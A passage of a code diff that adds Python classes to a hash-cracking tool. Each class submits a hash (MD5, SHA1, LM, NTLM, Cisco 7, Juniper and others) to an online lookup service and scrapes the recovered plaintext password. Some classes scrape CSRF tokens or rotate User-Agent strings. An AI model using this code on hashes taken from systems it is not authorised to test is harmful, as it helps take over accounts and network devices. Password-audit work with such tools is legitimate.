+		url = "http://www.netmd5crack.com/cgi-bin/Crack.py?InputHash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		regexp = r'<tr><td class="border">%s</td><td class="border">[^<]*</td></tr></table>' % (hashvalue)
+		match = search (regexp, html)
+		
+		if match:
+			match2 = search ( "Sorry, we don't have that hash in our database", match.group() )
+			if match2:
+				return None
+			else:
+				return match.group().split('border')[2].split('<')[0][2:]
+
+
+
+class MD5_CRACKER:
+	
+	name = 		"md5-cracker"
+	url = 		"http://www.md5-cracker.tk"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.md5-cracker.tk/xml.php?md5=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if response:
+			try:
+				doc = parseDoc ( response.read() )
+			except:
+				print "INFO: You need libxml2 to use this plugin."
+				return None
+		else:
+			return None
+		
+		result = doc.xpathEval("//data")
+		if len(result):
+			return result[0].content
+		else:
+			return None
+
+
+class BENRAMSEY:
+	
+	name = 		"benramsey"
+	url = 		"http://tools.benramsey.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://tools.benramsey.com/md5/md5.php?hash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'<string><!\[CDATA\[[^\]]*\]\]></string>', html)
+		
+		if match:
+			return match.group().split(']')[0][17:]
+		else:
+			return None
+
+
+
+class GROMWEB: 
+	
+	name = 		"gromweb"
+	url = 		"http://md5.gromweb.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.gromweb.com/query/%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if response:
+			return response.read()
+			
+		return response
+		
+		
+
+
+class HASHCRACKING:
+	
+	name = 		"hashcracking"
+	url = 		"http://md5.hashcracking.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.hashcracking.com/search.php?md5=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'\sis.*', html)
+		
+		if match:
+			return match.group()[4:]
+			
+		return None
+
+
+
+class VICTOROV:
+	
+	name = 		"hashcracking"
+	url = 		"http://victorov.su"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://victorov.su/md5/?md5e=&md5d=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r': <b>[^<]*</b><br><form action="">', html)
+		
+		if match:
+			return match.group().split('b>')[1][:-2]
+			
+		return None
+
+
+class THEKAINE: 
+	
+	name = 		"thekaine"
+	url = 		"http://md5.thekaine.de"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.thekaine.de/?hash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td colspan="2"><br><br><b>[^<]*</b></td><td></td>', html)
+		
+		if match:
+			
+			match2 = search (r'not found', match.group() )
+			
+			if match2:
+				return None
+			else:
+				return match.group().split('b>')[1][:-2]
+			
+
+
+class TMTO:
+	
+	name = 		"tmto"
+	url = 		"http://www.tmto.org"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.tmto.org/api/latest/?hash=%s&auth=true" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'text="[^"]+"', html)
+		
+		if match:
+			return decodestring(match.group().split('"')[1])
+		else:
+			return None
+
+
+class MD5_DB:
+	
+	name = 		"md5-db"
+	url = 		"http://md5-db.de"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5-db.de/%s.html" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if not response:
+			return None
+			
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<strong>Es wurden 1 m.gliche Begriffe gefunden, die den Hash \w* verwenden:</strong><ul><li>[^<]*</li>', html)
+		
+		if match:
+			return match.group().split('li>')[1][:-2]
+		else:
+			return None
+
+
+
+
+class MY_ADDR:
+	
+	name = 		"my-addr"
+	url = 		"http://md5.my-addr.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php"
+		
+		# Build the parameters
+		params = { "md5" : hashvalue,
+			   "x" : 21,
+			   "y" : 8 }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"<span class='middle_title'>Hashed string</span>: [^<]*</div>", html)
+		
+		if match:
+			return match.group().split('span')[2][3:-6]
+		else:
+			return None
+
+
+
+
+class MD5PASS:
+	
+	name = 		"md5pass"
+	url = 		"http://md5pass.info"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "hash" : hashvalue,
+			   "get_pass" : "Get Pass" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"Password - <b>[^<]*</b>", html)
+		
+		if match:
+			return match.group().split('b>')[1][:-2]
+		else:
+			return None
+
+
+
+class MD5DECRYPTION:
+	
+	name = 		"md5decryption"
+	url = 		"http://md5decryption.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "hash" : hashvalue,
+			   "submit" : "Decrypt It!" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"Decrypted Text: </b>[^<]*</font>", html)
+		
+		if match:
+			return match.group().split('b>')[1][:-7]
+		else:
+			return None
+
+
+
+class MD5CRACK:
+	
+	name = 		"md5crack"
+	url = 		"http://md5crack.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5crack.com/crackmd5.php"
+		
+		# Build the parameters
+		params = { "term" : hashvalue,
+			   "crackbtn" : "Crack that hash baby!" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'Found: md5\("[^"]+"\)', html)
+		
+		if match:
+			return match.group().split('"')[1]
+		else:
+			return None
+
+
+class MD5ONLINE:
+	
+	name = 		"md5online"
+	url = 		"http://md5online.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "pass" : hashvalue,
+			   "option" : "hash2text",
+			   "send" : "Submit" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<center><p>md5 :<b>\w*</b> <br>pass : <b>[^<]*</b></p></table>', html)
+		
+		if match:
+			return match.group().split('b>')[3][:-2]
+		else:
+			return None
+
+
+
+
+class MD5_DECRYPTER:
+	
+	name = 		"md5-decrypter"
+	url = 		"http://md5-decrypter.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "data[Row][cripted]" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = findall (r'<b class="res">[^<]*</b>', html)
+		
+		if match:
+			return match[1].split('>')[1][:-3]
+		else:
+			return None
+
+
+
+class AUTHSECUMD5:
+	
+	name = 		"authsecu"
+	url = 		"http://www.authsecu.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.authsecu.com/decrypter-dechiffrer-cracker-hash-md5/script-hash-md5.php"
+		
+		# Build the parameters
+		params = { "valeur_bouton" : "dechiffrage",
+			   "champ1" : "",
+			   "champ2" : hashvalue,
+			   "dechiffrer.x" : "78",
+			   "dechiffrer.y" : "7" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = findall (r'<td><p class="chapitre---texte-du-tableau-de-niveau-1">[^<]*</p></td>', html)
+		
+		if len(match) > 2:
+			return match[1].split('>')[2][:-3]
+		else:
+			return None
+
+
+
+class HASHCRACK:
+	
+	name = 		"hashcrack"
+	url = 		"http://hashcrack.com"
+	supported_algorithm = [MD5, SHA1, MYSQL, LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://hashcrack.com/indx.php"
+		
+		hash2 = None
+		if alg in [LM, NTLM] and ':' in hashvalue:
+			if alg == LM:
+				hash2 = hashvalue.split(':')[0]
+			else:
+				hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		# Delete the possible starting '*'
+		if alg == MYSQL and hash2[0] == '*':
+			hash2 = hash2[1:]
+		
+		# Build the parameters
+		params = { "auth" : "8272hgt",
+			   "hash" : hash2,
+			   "string" : "",
+			   "Submit" : "Submit" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<div align=center>"[^"]*" resolves to</div><br><div align=center> <span class=hervorheb2>[^<]*</span></div></TD>', html)
+		
+		if match:
+			return match.group().split('hervorheb2>')[1][:-18]
+		else:
+			return None
+
+
+
+class OPHCRACK:
+	
+	name = 		"ophcrack"
+	url = 		"http://www.objectif-securite.ch"
+	supported_algorithm = [LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Check if hashvalue has the character ':'
+		if ':' not in hashvalue:
+			return None
+			
+		# Ophcrack doesn't crack NTLM hashes. It needs a valid LM hash and this one is an empty hash.
+		if hashvalue.split(':')[0] == "aad3b435b51404eeaad3b435b51404ee":
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.objectif-securite.ch/en/products.php?hash=%s" % (hashvalue.replace(':', '%3A'))
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<table><tr><td>Hash:</td><td>[^<]*</td></tr><tr><td><b>Password:</b></td><td><b>[^<]*</b></td>', html)
+		
+		if match:
+			return match.group().split('b>')[3][:-2]
+		else:
+			return None
+	
+
+
+class C0LLISION:
+	
+	name = 		"c0llision"
+	url = 		"http://www.c0llision.net"
+	supported_algorithm = [MD5, LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Check if hashvalue has the character ':'
+		if alg in [LM, NTLM] and ':' not in hashvalue:
+			return None
+			
+		# Look for "hash[_csrf_token]" parameter
+		response = do_HTTP_request ( "http://www.c0llision.net/webcrack.php" )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<input type="hidden" name="hash._csrf_token." value="[^"]*" id="hash__csrf_token" />', html)
+		token = None
+		if match:
+			token = match.group().split('"')[5]
+		
+		# Build the URL
+		url = "http://www.c0llision.net/webcrack/request"
+		
+		# Build the parameters
+		params = { "hash[_input_]" : hashvalue,
+			   "hash[_csrf_token]" : token }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = None
+		if alg in [LM, NTLM]:
+			html = html.replace('\n', '')
+			result = ""
+			
+			match = search (r'<table class="pre">.*?</table>', html)
+			if match:
+				try:
+					doc = parseDoc ( match.group() )
+				except:
+					print "INFO: You need libxml2 to use this plugin."
+					return None
+				lines = doc.xpathEval("//tr")
+				for l in lines:
+					doc = parseDoc ( str(l) )
+					cols = doc.xpathEval("//td")
+					
+					if len(cols) < 4:
+						return None
+					
+					if cols[2].content:
+						result = " > %s (%s) = %s\n" % ( cols[1].content, cols[2].content, cols[3].content )
+				
+				#return ( result and "\n" + result or None )
+				return ( result and result.split()[-1] or None )
+			
+		else:
+			match = search (r'<td class="plaintext">[^<]*</td>', html)
+		
+			if match:
+				return match.group().split('>')[1][:-4]
+		
+		return None
+
+
+
+class REDNOIZE:
+	
+	name = 		"rednoize"
+	url = 		"http://md5.rednoize.com"
+	supported_algorithm = [MD5, SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = ""
+		if alg == MD5:
+			url = "http://md5.rednoize.com/?p&s=md5&q=%s&_=" % (hashvalue)
+		else:
+			url = "http://md5.rednoize.com/?p&s=sha1&q=%s&_=" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		return html
+			
+			
+
+
+class CMD5:
+	
+	name = 		"cmd5"
+	url = 		"http://www.cmd5.org"
+	supported_algorithm = [MD5, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Look for hidden parameters
+		response = do_HTTP_request ( "http://www.cmd5.org/" )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="[^"]*" />', html)
+		viewstate = None
+		if match:
+			viewstate = match.group().split('"')[7]
+		
+		match = search (r'<input type="hidden" name="ctl00.ContentPlaceHolder1.HiddenField1" id="ctl00_ContentPlaceHolder1_HiddenField1" value="[^"]*" />', html)
+		ContentPlaceHolder1 = ""
+		if match:
+			ContentPlaceHolder1 = match.group().split('"')[7]
+		
+		match = search (r'<input type="hidden" name="ctl00.ContentPlaceHolder1.HiddenField2" id="ctl00_ContentPlaceHolder1_HiddenField2" value="[^"]*" />', html)
+		ContentPlaceHolder2 = ""
+		if match:
+			ContentPlaceHolder2 = match.group().split('"')[7]
+		
+		# Build the URL
+		url = "http://www.cmd5.org/"
+		
+		hash2 = ""
+		if alg == MD5:
+			hash2 = hashvalue
+		else:
+			if ':' in hashvalue:
+				hash2 = hashvalue.split(':')[1]
+		
+		# Build the parameters
+		params = { "__EVENTTARGET" : "",
+			   "__EVENTARGUMENT" : "",
+			   "__VIEWSTATE" : viewstate,
+			   "ctl00$ContentPlaceHolder1$TextBoxq" : hash2,
+			   "ctl00$ContentPlaceHolder1$InputHashType" : alg,
+			   "ctl00$ContentPlaceHolder1$Button1" : "decrypt",
+			   "ctl00$ContentPlaceHolder1$HiddenField1" : ContentPlaceHolder1,
+			   "ctl00$ContentPlaceHolder1$HiddenField2" : ContentPlaceHolder2 }
+			   
+		header = { "Referer" : "http://www.cmd5.org/" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params, header )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<span id="ctl00_ContentPlaceHolder1_LabelResult">[^<]*</span>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-6]
+		else:
+			return None
+
+
+
+class AUTHSECUCISCO7:
+	
+	name = 		"authsecu"
+	url = 		"http://www.authsecu.com"
+	supported_algorithm = [CISCO7]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.authsecu.com/decrypter-dechiffrer-cracker-password-cisco-7/script-password-cisco-7-launcher.php"
+		
+		# Build the parameters
+		params = { "valeur_bouton" : "dechiffrage",
+			   "champ1" : hashvalue,
+			   "dechiffrer.x" : 43,
+			   "dechiffrer.y" : 16 }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = findall (r'<td><p class="chapitre---texte-du-tableau-de-niveau-1">[^<]*</p></td>', html)
+		
+		if match:
+			return match[1].split('>')[2][:-3]
+		else:
+			return None
+
+
+
+
+class CACIN:
+	
+	name = 		"cacin"
+	url = 		"http://cacin.net"
+	supported_algorithm = [CISCO7]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://cacin.net/cgi-bin/decrypt-cisco.pl?cisco_hash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<tr>Cisco password 7: [^<]*</tr><br><tr><th><br>Decrypted password: .*', html)
+		
+		if match:
+			return match.group().split(':')[2][1:]
+		else:
+			return None
+
+
+class IBEAST:
+	
+	name = 		"ibeast"
+	url = 		"http://www.ibeast.com"
+	supported_algorithm = [CISCO7]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.ibeast.com/content/tools/CiscoPassword/decrypt.php?txtPassword=%s&submit1=Enviar+consulta" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<font size="\+2">Your Password is [^<]*<br>', html)
+		
+		if match:
+			return match.group().split('is ')[1][:-4]
+		else:
+			return None
+
+
+
+class PASSWORD_DECRYPT:
+	
+	name = 		"password-decrypt"
+	url = 		"http://password-decrypt.com"
+	supported_algorithm = [CISCO7, JUNIPER]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the parameters
+		url = ""
+		params = None
+		if alg == CISCO7:
+			url = "http://password-decrypt.com/cisco.cgi"
+			params = { "submit" : "Submit",
+				"cisco_password" : hashvalue,
+				"submit" : "Submit" }
+		else:
+			url = "http://password-decrypt.com/juniper.cgi"
+			params = { "submit" : "Submit",
+				"juniper_password" : hashvalue,
+				"submit" : "Submit" }
+		
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'Decrypted Password:&nbsp;<B>[^<]*</B> </p>', html)
+		
+		if match:
+			return match.group().split('B>')[1][:-2]
+		else:
+			return None
+
+
+
+
+class BIGTRAPEZE:
+	
+	name = 		"bigtrapeze"
+	url = 		"http://www.bigtrapeze.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.bigtrapeze.com/md5/index.php"
+		
+		# Build the parameters
+		params = { "query" : hashvalue,
+			   " Crack " : "Enviar consulta" }
+			   
+		# Build the Headers with a random User-Agent
+		headers = { "User-Agent" : USER_AGENTS[randint(0, len(USER_AGENTS))-1] }
+
+		# Make the request
+		response = do_HTTP_request ( url, params, headers )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'Congratulations!<li>The hash <strong>[^<]*</strong> has been deciphered to: <strong>[^<]*</strong></li>', html)
+		
+		if match:
+			return match.group().split('strong>')[3][:-2]
+		else:
+			return None
+
+
+class HASHCHECKER:
+	
+	name = 		"hashchecker"
+	url = 		"http://www.hashchecker.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
